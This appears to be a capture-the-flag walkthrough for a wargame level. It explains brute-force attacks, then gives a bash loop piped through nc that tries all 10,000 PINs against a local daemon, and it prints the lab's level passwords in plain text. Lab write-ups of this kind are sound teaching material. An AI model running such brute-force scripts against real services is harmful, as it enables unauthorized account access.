Table of Contents
levels
Concepts to consider
Brute Force Concept
Definition
- Brute Force Attack: A method of trial and error used to decode encrypted data such as passwords or Data Encryption Standard (DES) keys. In a brute force attack, automated software is used to generate a large number of consecutive guesses as to the value of the desired data.
Working Mechanism
Exhaustive Search:
- The attacker tries every possible combination of characters until the correct one is found. This includes all possible combinations of letters, numbers, and special characters.
Automation:
- Automated tools are often used to perform brute force attacks because the number of possible combinations can be extremely large. These tools can systematically generate and test each possible password.
Key Spaces:
- The effectiveness and speed of a brute force attack depend on the size of the key space, which is the total number of possible passwords. The larger the key space, the longer the attack will take.
bandit 24
Task
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing. You do not need to create new connections each time
Solution
lets connect in the 30002 port, with this command
nc localhost port
then
bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Timeout. Exiting.
lets create a temp folder and a script to break the password by brute force
bandit24@bandit:/tmp/tmp.pJdEj20VVQ$ cat script.sh
for i in {0..9999}
do
echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar ${i}"
done
lets send this to the port 30002
bandit24@bandit:/tmp/tmp.pJdEj20VVQ$ ./script.sh | nc localhost 30002
In a momment we get this
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
Exiting.
